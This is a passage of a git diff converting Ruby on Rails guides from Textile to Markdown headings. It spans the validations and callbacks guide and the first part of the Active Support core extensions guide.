Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object which will be called. Using a +Proc+ object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.
@@ -581,7 +588,7 @@ class Account < ActiveRecord::Base
end
```
-h4. Grouping conditional validations
+### Grouping conditional validations
Sometimes it is useful to have multiple validations use one condition, it can be easily achieved using +with_options+.
@@ -596,7 +603,7 @@ end
All validations inside of +with_options+ block will have automatically passed the condition +:if => :is_admin?+
-h4. Combining validation conditions
+### Combining validation conditions
On the other hand, when multiple conditions define whether or not a validation should happen, an +Array+ can be used. Moreover, you can apply both +:if:+ and +:unless+ to the same validation.
@@ -610,11 +617,12 @@ end
The validation only runs when all the +:if+ conditions and none of the +:unless+ conditions are evaluated to +true+.
-h3. Performing Custom Validations
+Performing Custom Validations
+-----------------------------
When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer.
-h4. Custom Validators
+### Custom Validators
Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These classes must implement a +validate+ method which takes a record as an argument and performs the validation on it. The custom validator is called using the +validates_with+ method.
@@ -651,7 +659,7 @@ end
As shown in the example, you can also combine standard validations with your own custom validators.
-h4. Custom Methods
+### Custom Methods
You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using the +validate+ class method, passing in the symbols for the validation methods' names.
@@ -706,13 +714,14 @@ class Movie < ActiveRecord::Base
end
```
-h3. Working with Validation Errors
+Working with Validation Errors
+------------------------------
In addition to the +valid?+ and +invalid?+ methods covered earlier, Rails provides a number of methods for working with the +errors+ collection and inquiring about the validity of objects.
The following is a list of the most commonly used methods. Please refer to the +ActiveModel::Errors+ documentation for a list of all the available methods.
-h4(#working_with_validation_errors-errors). +errors+
+### +errors+
Returns an instance of the class +ActiveModel::Errors+ containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
@@ -731,7 +740,7 @@ person.valid? # => true
person.errors # => []
```
-h4(#working_with_validation_errors-errors-2). +errors[]+
+### +errors[]+
+errors[]+ is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.
@@ -754,7 +763,7 @@ person.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)"]
```
-h4. +errors.add+
+### +errors.add+
The +add+ method lets you manually add messages that are related to particular attributes. You can use the +errors.full_messages+ or +errors.to_a+ methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). +add+ receives the name of the attribute you want to add the message to, and the message itself.
@@ -792,7 +801,7 @@ Another way to do this is using +[]=+ setter
# => ["Name cannot contain the characters !@#%*()_-+="]
```
-h4. +errors[:base]+
+### +errors[:base]+
You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message.
@@ -804,7 +813,7 @@ class Person < ActiveRecord::Base
end
```
-h4. +errors.clear+
+### +errors.clear+
The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again.
@@ -827,7 +836,7 @@ p.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)"]
```
-h4. +errors.size+
+### +errors.size+
The +size+ method returns the total number of error messages for the object.
@@ -845,7 +854,8 @@ person.valid? # => true
person.errors.size # => 0
```
-h3. Displaying Validation Errors in the View
+Displaying Validation Errors in the View
+----------------------------------------
"DynamicForm":https://github.com/joelmoss/dynamic_form provides helpers to display the error messages of your models in your view templates.
@@ -857,7 +867,7 @@ gem "dynamic_form"
Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates.
-h4. +error_messages+ and +error_messages_for+
+### +error_messages+ and +error_messages_for+
When creating a form with the +form_for+ helper, you can use the +error_messages+ method on the form builder to render all failed validation messages for the current model instance.
@@ -913,7 +923,7 @@ results in:
If you pass +nil+ in any of these options, the corresponding section of the +div+ will be discarded.
-h4(#customizing-error-messages-css). Customizing the Error Messages CSS
+### Customizing the Error Messages CSS
The selectors used to customize the style of error messages are:
@@ -927,7 +937,7 @@ If scaffolding was used, file +app/assets/stylesheets/scaffolds.css.scss+ will h
The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers.
-h4. Customizing the Error Messages HTML
+### Customizing the Error Messages HTML
By default, form fields with errors are displayed enclosed by a +div+ element with the +field_with_errors+ CSS class. However, it's possible to override that.
@@ -949,11 +959,12 @@ The result looks like the following:
!images/validation_error_messages.png(Validation error messages)!
-h3. Callbacks Overview
+Callbacks Overview
+------------------
Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
-h4. Callback Registration
+### Callback Registration
In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:
@@ -986,11 +997,12 @@ end
It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
-h3. Available Callbacks
+Available Callbacks
+-------------------
Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:
-h4. Creating an Object
+### Creating an Object
* +before_validation+
* +after_validation+
@@ -1001,7 +1013,7 @@ h4. Creating an Object
* +after_create+
* +after_save+
-h4. Updating an Object
+### Updating an Object
* +before_validation+
* +after_validation+
@@ -1012,7 +1024,7 @@ h4. Updating an Object
* +after_update+
* +after_save+
-h4. Destroying an Object
+### Destroying an Object
* +before_destroy+
* +around_destroy+
@@ -1020,7 +1032,7 @@ h4. Destroying an Object
WARNING. +after_save+ runs both on create and update, but always _after_ the more specific callbacks +after_create+ and +after_update+, no matter the order in which the macro calls were executed.
-h4. +after_initialize+ and +after_find+
+### +after_initialize+ and +after_find+
The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by directly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method.
@@ -1049,7 +1061,8 @@ You have initialized an object!
=> #<User id: 1>
```
-h3. Running Callbacks
+Running Callbacks
+-----------------
The following methods trigger callbacks:
@@ -1082,7 +1095,8 @@ Additionally, the +after_find+ callback is triggered by the following finder met
The +after_initialize+ callback is triggered every time a new object of the class is initialized.
-h3. Skipping Callbacks
+Skipping Callbacks
+------------------
Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
@@ -1099,7 +1113,8 @@ Just as with validations, it is also possible to skip callbacks. These methods s
* +update_all+
* +update_counters+
-h3. Halting Execution
+Halting Execution
+-----------------
As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.
@@ -1107,7 +1122,8 @@ The whole callback chain is wrapped in a transaction. If any <em>before</em> cal
WARNING. Raising an arbitrary exception may break code that expects +save+ and its friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
-h3. Relational Callbacks
+Relational Callbacks
+--------------------
Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model:
@@ -1133,11 +1149,12 @@ Post destroyed
=> #<User id: 1>
```
-h3. Conditional Callbacks
+Conditional Callbacks
+---------------------
As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the +:if+ and +:unless+ options, which can take a symbol, a string, a +Proc+ or an +Array+. You may use the +:if+ option when you want to specify under which conditions the callback *should* be called. If you want to specify the conditions under which the callback *should not* be called, then you may use the +:unless+ option.
-h4. Using +:if+ and +:unless+ with a +Symbol+
+### Using +:if+ and +:unless+ with a +Symbol+
You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed.
@@ -1147,7 +1164,7 @@ class Order < ActiveRecord::Base
end
```
-h4. Using +:if+ and +:unless+ with a String
+### Using +:if+ and +:unless+ with a String
You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition:
@@ -1157,7 +1174,7 @@ class Order < ActiveRecord::Base
end
```
-h4. Using +:if+ and +:unless+ with a +Proc+
+### Using +:if+ and +:unless+ with a +Proc+
Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners:
@@ -1168,7 +1185,7 @@ class Order < ActiveRecord::Base
end
```
-h4. Multiple Conditions for Callbacks
+### Multiple Conditions for Callbacks
When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration:
@@ -1179,7 +1196,8 @@ class Comment < ActiveRecord::Base
end
```
-h3. Callback Classes
+Callback Classes
+----------------
Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
@@ -1225,11 +1243,12 @@ end
You can declare as many callbacks as you want inside your callback classes.
-h3. Observers
+Observers
+---------
Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead.
-h4. Creating Observers
+### Creating Observers
For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality.
@@ -1256,7 +1275,7 @@ end
As with callback classes, the observer's methods receive the observed model as a parameter.
-h4. Registering Observers
+### Registering Observers
Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way:
@@ -1267,7 +1286,7 @@ config.active_record.observers = :user_observer
As usual, settings in +config/environments+ take precedence over those in +config/application.rb+. So, if you prefer that an observer doesn't run in all environments, you can simply register it in a specific environment instead.
-h4. Sharing Observers
+### Sharing Observers
By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe:
@@ -1288,7 +1307,8 @@ In this example, the +after_create+ method will be called whenever a +Registrati
config.active_record.observers = :mailer_observer
```
-h3. Transaction Callbacks
+Transaction Callbacks
+---------------------
There are two additional callbacks that are triggered by the completion of a database transaction: +after_commit+ and +after_rollback+. These callbacks are very similar to the +after_save+ callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.
diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md
index 57c5817084..352bf00283 100644
--- a/guides/source/active_support_core_extensions.md
+++ b/guides/source/active_support_core_extensions.md
@@ -1,4 +1,5 @@
-h2. Active Support Core Extensions
+Active Support Core Extensions
+==============================
Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff.
@@ -6,11 +7,12 @@ It offers a richer bottom-line at the language level, targeted both at the devel
By referring to this guide you will learn the extensions to the Ruby core classes and modules provided by Active Support.
-endprologue.
+--------------------------------------------------------------------------------
-h3. How to Load Core Extensions
+How to Load Core Extensions
+---------------------------
-h4. Stand-Alone Active Support
+### Stand-Alone Active Support
In order to have a near zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you may load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything.
@@ -22,7 +24,7 @@ require 'active_support'
objects do not even respond to +blank?+. Let's see how to load its definition.
-h5. Cherry-picking a Definition
+#### Cherry-picking a Definition
The most lightweight way to get +blank?+ is to cherry-pick the file that defines it.
@@ -38,7 +40,7 @@ require 'active_support/core_ext/object/blank'
Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.
-h5. Loading Grouped Core Extensions
+#### Loading Grouped Core Extensions
The next level is to simply load all extensions to +Object+. As a rule of thumb, extensions to +SomeClass+ are available in one shot by loading +active_support/core_ext/some_class+.
@@ -48,7 +50,7 @@ Thus, to load all extensions to +Object+ (including +blank?+):
require 'active_support/core_ext/object'
```
-h5. Loading All Core Extensions
+#### Loading All Core Extensions
You may prefer just to load all core extensions, there is a file for that:
@@ -56,7 +58,7 @@ You may prefer just to load all core extensions, there is a file for that:
require 'active_support/core_ext'
```
-h5. Loading All Active Support
+#### Loading All Active Support
And finally, if you want to have all Active Support available just issue:
@@ -66,13 +68,14 @@ require 'active_support/all'
That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via +autoload+, so it is only loaded if used.
-h4. Active Support Within a Ruby on Rails Application
+### Active Support Within a Ruby on Rails Application
A Ruby on Rails application loads all Active Support unless +config.active_support.bare+ is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.
-h3. Extensions to All Objects
+Extensions to All Objects
+-------------------------
-h4. +blank?+ and +present?+
+### +blank?+ and +present?+
The following values are considered to be blank in a Rails application:
@@ -109,7 +112,7 @@ end
NOTE: Defined in +active_support/core_ext/object/blank.rb+.
-h4. +presence+
+### +presence+
The +presence+ method returns its receiver if +present?+, and +nil+ otherwise. It is useful for idioms like this:
@@ -119,7 +122,7 @@ host = config[:host].presence || 'localhost'
NOTE: Defined in +active_support/core_ext/object/blank.rb+.
-h4. +duplicable?+
+### +duplicable?+
A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance:
@@ -154,7 +157,7 @@ WARNING. Any class can disallow duplication removing +dup+ and +clone+ or raisin
NOTE: Defined in +active_support/core_ext/object/duplicable.rb+.
-h4. +deep_dup+
+### +deep_dup+
The +deep_dup+ method returns deep copy of a given object. Normally, when you +dup+ an object that contains other objects, ruby does not +dup+ them. If you have an array with a string, for example, it will look like this:
@@ -199,7 +202,7 @@ number.object_id == dup.object_id # => true
NOTE: Defined in +active_support/core_ext/object/deep_dup.rb+.
-h4. +try+
+### +try+
When you want to call a method on an object only if it is not +nil+, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use +try+. +try+ is like +Object#send+ except that it returns +nil+ if sent to +nil+.
@@ -234,7 +237,7 @@ end
NOTE: Defined in +active_support/core_ext/object/try.rb+.
-h4. +class_eval(*args, &block)+
+### +class_eval(*args, &block)+
You can evaluate code in the context of any object's singleton class using +class_eval+:
@@ -255,7 +258,7 @@ end
NOTE: Defined in +active_support/core_ext/kernel/singleton_class.rb+.
-h4. +acts_like?(duck)+
+### +acts_like?(duck)+
The method +acts_like?+ provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as +String+ defines
@@ -274,7 +277,7 @@ Rails has classes that act like +Date+ or +Time+ and follow this contract.
NOTE: Defined in +active_support/core_ext/object/acts_like.rb+.
-h4. +to_param+
+### +to_param+
All objects in Rails respond to the method +to_param+, which is meant to return something that represents them as values in a query string, or as URL fragments.
@@ -318,7 +321,7 @@ WARNING. Controllers need to be aware of any redefinition of +to_param+ because
NOTE: Defined in +active_support/core_ext/object/to_param.rb+.
-h4. +to_query+
+### +to_query+
Except for hashes, given an unescaped +key+ this method constructs the part of a query string that would map such key to what +to_param+ returns. For example, given
@@ -367,7 +370,7 @@ The method +Hash#to_query+ accepts an optional namespace for the keys:
NOTE: Defined in +active_support/core_ext/object/to_query.rb+.
-h4. +with_options+
+### +with_options+
The method +with_options+ provides a way to factor out common options in a series of method calls.
@@ -408,11 +411,11 @@ TIP: Since +with_options+ forwards calls to its receiver they can be nested. Eac
NOTE: Defined in +active_support/core_ext/object/with_options.rb+.
-h4. Instance Variables
+### Instance Variables
Active Support provides several methods to ease access to instance variables.
-h5. +instance_variable_names+
+#### +instance_variable_names+
Ruby 1.8 and 1.9 have a method called +instance_variables+ that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines +instance_variable_names+ as a portable way to obtain them as strings:
@@ -430,7 +433,7 @@ WARNING: The order in which the names are returned is unspecified, and it indeed
NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
-h5. +instance_values+
+#### +instance_values+
The method +instance_values+ returns a hash that maps instance variable names without "@" to their
corresponding values. Keys are strings:
@@ -447,7 +450,7 @@ C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
-h4. Silencing Warnings, Streams, and Exceptions
+### Silencing Warnings, Streams, and Exceptions
The methods +silence_warnings+ and +enable_warnings+ change the value of +$VERBOSE+ accordingly for the duration of their block, and reset it afterwards:
@@ -482,7 +485,7 @@ end
NOTE: Defined in +active_support/core_ext/kernel/reporting.rb+.
-h4. +in?+
+### +in?+
The predicate +in?+ tests if an object is included in another object or a list of objects. An +ArgumentError+ exception will be raised if a single argument is passed and it does not respond to +include?+.
@@ -498,9 +501,10 @@ Examples of +in?+:
NOTE: Defined in +active_support/core_ext/object/inclusion.rb+.
-h3. Extensions to +Module+
+Extensions to +Module+
+----------------------
-h4. +alias_method_chain+
+### +alias_method_chain+
Using plain Ruby you can wrap methods with other methods, that's called _alias chaining_.
@@ -550,9 +554,9 @@ Rails uses +alias_method_chain+ all over the code base. For example validations
NOTE: Defined in +active_support/core_ext/module/aliasing.rb+.
-h4. Attributes
+### Attributes
-h5. +alias_attribute+
+#### +alias_attribute+
Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):
@@ -566,7 +570,7 @@ end
NOTE: Defined in +active_support/core_ext/module/aliasing.rb+.
-h5. Internal Attributes
+#### Internal Attributes
When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries.
@@ -604,7 +608,7 @@ end
NOTE: Defined in +active_support/core_ext/module/attr_internal.rb+.
-h5. Module Attributes
+#### Module Attributes
The macros +mattr_reader+, +mattr_writer+, and +mattr_accessor+ are analogous to the +cattr_*+ macros defined for class. Check "Class Attributes":#class-attributes.
@@ -631,9 +635,9 @@ end
NOTE: Defined in +active_support/core_ext/module/attribute_accessors.rb+.
-h4. Parents
+### Parents
-h5. +parent+
+#### +parent+
The +parent+ method on a nested named module returns the module that contains its corresponding constant:
@@ -656,7 +660,7 @@ WARNING: Note that in that case +parent_name+ returns +nil+.
NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
-h5. +parent_name+
+#### +parent_name+
The +parent_name+ method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:
@@ -679,7 +683,7 @@ WARNING: Note that in that case +parent+ returns +Object+.
NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
-h5(#module-parents). +parents+
+#### +parents+
The method +parents+ calls +parent+ on the receiver and upwards until +Object+ is reached. The chain is returned in an array, from bottom to top:
@@ -698,7 +702,7 @@ M.parents # => [X::Y, X, Object]
NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
-h4. Constants
+### Constants
The method +local_constants+ returns the names of the constants that have been
defined in the receiver module:
@@ -721,7 +725,7 @@ The names are returned as symbols. (The deprecated method +local_constant_names+
NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
-h5. Qualified Constant Names
+#### Qualified Constant Names
The standard methods +const_defined?+, +const_get+ , and +const_set+ accept
bare constant names. Active Support extends this API to be able to pass
@@ -779,7 +783,7 @@ Absolute qualified constant names like +::Math::PI+ raise +NameError+.
NOTE: Defined in +active_support/core_ext/module/qualified_const.rb+.
-h4. Reachable
+### Reachable
A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.
@@ -817,7 +821,7 @@ orphan.reachable? # => false
NOTE: Defined in +active_support/core_ext/module/reachable.rb+.
-h4. Anonymous
+### Anonymous
A module may or may not have a name:
@@ -858,7 +862,7 @@ though an anonymous module is unreachable by definition.
NOTE: Defined in +active_support/core_ext/module/anonymous.rb+.
-h4. Method Delegation
+### Method Delegation
The macro +delegate+ offers an easy way to forward methods.
@@ -942,7 +946,7 @@ In the previous example the macro generates +avatar_size+ rather than +size+.
NOTE: Defined in +active_support/core_ext/module/delegation.rb+
-h4. Redefining Methods
+### Redefining Methods
There are cases where you need to define a method with +define_method+, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
@@ -963,11 +967,12 @@ end
NOTE: Defined in +active_support/core_ext/module/remove_method.rb+
-h3. Extensions to +Class+
+Extensions to +Class+
+---------------------
-h4. Class Attributes
+### Class Attributes
-h5. +class_attribute+
+#### +class_attribute+
The method +class_attribute+ declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.
@@ -1047,7 +1052,7 @@ When +:instance_reader+ is +false+, the instance predicate returns a +NoMethodEr
NOTE: Defined in +active_support/core_ext/class/attribute.rb+
-h5. +cattr_reader+, +cattr_writer+, and +cattr_accessor+
+#### +cattr_reader+, +cattr_writer+, and +cattr_accessor+
The macros +cattr_reader+, +cattr_writer+, and +cattr_accessor+ are analogous to their +attr_*+ counterparts but for classes. They initialize a class variable to +nil+ unless it already exists, and generate the corresponding class methods to access it:
@@ -1091,9 +1096,9 @@ A model may find it useful to set +:instance_accessor+ to +false+ as a way to pr
NOTE: Defined in +active_support/core_ext/class/attribute_accessors.rb+.
-h4. Subclasses & Descendants
+### Subclasses & Descendants
-h5. +subclasses+
+#### +subclasses+
The +subclasses+ method returns the subclasses of the receiver:
@@ -1117,7 +1122,7 @@ WARNING: This method is redefined in some Rails core classes but should be all c
NOTE: Defined in +active_support/core_ext/class/subclasses.rb+.
-h5. +descendants+
+#### +descendants+
The +descendants+ method returns all classes that are <tt>&lt;</tt> than its receiver:
@@ -1139,15 +1144,16 @@ The order in which these classes are returned is unspecified.
NOTE: Defined in +active_support/core_ext/class/subclasses.rb+.
-h3. Extensions to +String+
+Extensions to +String+
+----------------------
-h4. Output Safety
+### Output Safety
-h5. Motivation
+#### Motivation
Inserting data into HTML templates needs extra care. For example, you can't just interpolate +@review.title+ verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the "section about cross-site scripting in the Security guide":security.html#cross-site-scripting-xss for further information about the risks.
-h5. Safe Strings
+#### Safe Strings
Active Support has the concept of <i>(html) safe</i> strings since Rails 3. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.
@@ -1214,7 +1220,7 @@ end
NOTE: Defined in +active_support/core_ext/string/output_safety.rb+.
-h5. Transformation
+#### Transformation
As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are +downcase+, +gsub+, +strip+, +chomp+, +underscore+, etc.
@@ -1222,15 +1228,15 @@ In the case of in-place transformations like +gsub!+ the receiver itself becomes
INFO: The safety bit is lost always, no matter whether the transformation actually changed something.
-h5. Conversion and Coercion
+#### Conversion and Coercion
Calling +to_s+ on a safe string returns a safe string, but coercion with +to_str+ returns an unsafe string.
-h5. Copying
+#### Copying
Calling +dup+ or +clone+ on safe strings yields safe strings.
-h4. +squish+
+### +squish+
The method +squish+ strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
@@ -1242,7 +1248,7 @@ There's also the destructive version +String#squish!+.
NOTE: Defined in +active_support/core_ext/string/filters.rb+.
-h4. +truncate+
+### +truncate+
The method +truncate+ returns a copy of its receiver truncated after a given +length+:
@@ -1280,7 +1286,7 @@ In above examples "dear" gets cut first, but then +:separator+ prevents it.
NOTE: Defined in +active_support/core_ext/string/filters.rb+.
-h4. +inquiry+
+### +inquiry+
The <tt>inquiry</tt> method converts a string into a +StringInquirer+ object making equality checks prettier.
@@ -1289,7 +1295,7 @@ The <tt>inquiry</tt> method converts a string into a +StringInquirer+ object mak
"active".inquiry.inactive? # => false
```
-h4. +starts_with?+ and +ends_with?+
+### +starts_with?+ and +ends_with?+
Active Support defines 3rd person aliases of +String#start_with?+ and +String#end_with?+:
@@ -1300,7 +1306,7 @@ Active Support defines 3rd person aliases of +String#start_with?+ and +String#en
NOTE: Defined in +active_support/core_ext/string/starts_ends_with.rb+.
-h4. +strip_heredoc+
+### +strip_heredoc+
The method +strip_heredoc+ strips indentation in heredocs.
@@ -1325,7 +1331,7 @@ that amount of leading whitespace.
NOTE: Defined in +active_support/core_ext/string/strip.rb+.
-h4. +indent+
+### +indent+
Indents the lines in the receiver:
@@ -1360,9 +1366,9 @@ The third argument, +indent_empty_lines+, is a flag that says whether empty line
The +indent!+ method performs indentation in-place.
-h4. Access
+### Access
-h5. +at(position)+
+#### +at(position)+
Returns the character of the string at position +position+:
@@ -1375,7 +1381,7 @@ Returns the character of the string at position +position+:
NOTE: Defined in +active_support/core_ext/string/access.rb+.
-h5. +from(position)+
+#### +from(position)+
Returns the substring of the string starting at position +position+:
@@ -1388,7 +1394,7 @@ Returns the substring of the string starting at position +position+:
NOTE: Defined in +active_support/core_ext/string/access.rb+.
-h5. +to(position)+
+#### +to(position)+
Returns the substring of the string up to position +position+:
@@ -1401,21 +1407,21 @@ Returns the substring of the string up to position +position+:
NOTE: Defined in +active_support/core_ext/string/access.rb+.
-h5. +first(limit = 1)+
+#### +first(limit = 1)+
The call +str.first(n)+ is equivalent to +str.to(n-1)+ if +n+ > 0, and returns an empty string for +n+ == 0.
NOTE: Defined in +active_support/core_ext/string/access.rb+.
-h5. +last(limit = 1)+
+#### +last(limit = 1)+
The call +str.last(n)+ is equivalent to +str.from(-n)+ if +n+ > 0, and returns an empty string for +n+ == 0.
NOTE: Defined in +active_support/core_ext/string/access.rb+.
-h4. Inflections
+### Inflections
-h5. +pluralize+
+#### +pluralize+
The method +pluralize+ returns the plural of its receiver:
@@ -1448,7 +1454,7 @@ end
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h5. +singularize+
+#### +singularize+
The inverse of +pluralize+:
@@ -1471,7 +1477,7 @@ end
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h5. +camelize+
+#### +camelize+
The method +camelize+ returns its receiver in camel case:
@@ -1519,7 +1525,7 @@ end
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h5. +underscore+
+#### +underscore+
The method +underscore+ goes the other way around, from camel case to paths:
@@ -1558,7 +1564,7 @@ INFO: As a rule of thumb you can think of +underscore+ as the inverse of +cameli
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h5. +titleize+
+#### +titleize+
The method +titleize+ capitalizes the words in the receiver:
@@ -1571,7 +1577,7 @@ The method +titleize+ capitalizes the words in the receiver:
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h5. +dasherize+
+#### +dasherize+
The method +dasherize+ replaces the underscores in the receiver with dashes:
@@ -1592,7 +1598,7 @@ end
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h5. +demodulize+
+#### +demodulize+
Given a string with a qualified constant name, +demodulize+ returns the very constant name, that is, the rightmost part of it:
@@ -1617,7 +1623,7 @@ end
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h5. +deconstantize+
+#### +deconstantize+
Given a string with a qualified constant reference expression, +deconstantize+ removes the rightmost segment, generally leaving the name of the constant's container:
@@ -1642,7 +1648,7 @@ end
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h5. +parameterize+
+#### +parameterize+
The method +parameterize+ normalizes its receiver in a way that can be used in pretty URLs.
@@ -1655,7 +1661,7 @@ In fact, the result string is wrapped in an instance of +ActiveSupport::Multibyt
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h5. +tableize+
+#### +tableize+
The method +tableize+ is +underscore+ followed by +pluralize+.
@@ -1669,7 +1675,7 @@ As a rule of thumb, +tableize+ returns the table name that corresponds to a give
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h5. +classify+
+#### +classify+
The method +classify+ is the inverse of +tableize+. It gives you the class name corresponding to a table name:
@@ -1689,7 +1695,7 @@ Note that +classify+ returns a class name as a string. You can get the actual cl
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h5. +constantize+
+#### +constantize+
The method +constantize+ resolves the constant reference expression in its receiver:
@@ -1732,7 +1738,7 @@ end
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h5. +humanize+
+#### +humanize+
The method +humanize+ gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word:
@@ -1761,7 +1767,7 @@ end
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h5. +foreign_key+
+#### +foreign_key+
The method +foreign_key+ gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":
@@ -1786,9 +1792,9 @@ foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
-h4(#string-conversions). Conversions
+### Conversions
-h5. +to_date+, +to_time+, +to_datetime+
+#### +to_date+, +to_time+, +to_datetime+
The methods +to_date+, +to_time+, and +to_datetime+ are basically convenience wrappers around +Date._parse+:
@@ -1813,9 +1819,10 @@ INFO: The three of them return +nil+ for blank receivers.
NOTE: Defined in +active_support/core_ext/string/conversions.rb+.
-h3. Extensions to +Numeric+
+Extensions to +Numeric+
+-----------------------
-h4. Bytes
+### Bytes
All numbers respond to these methods:
@@ -1846,7 +1853,7 @@ Singular forms are aliased so you are able to say:
NOTE: Defined in +active_support/core_ext/numeric/bytes.rb+.
-h4. Time
+### Time
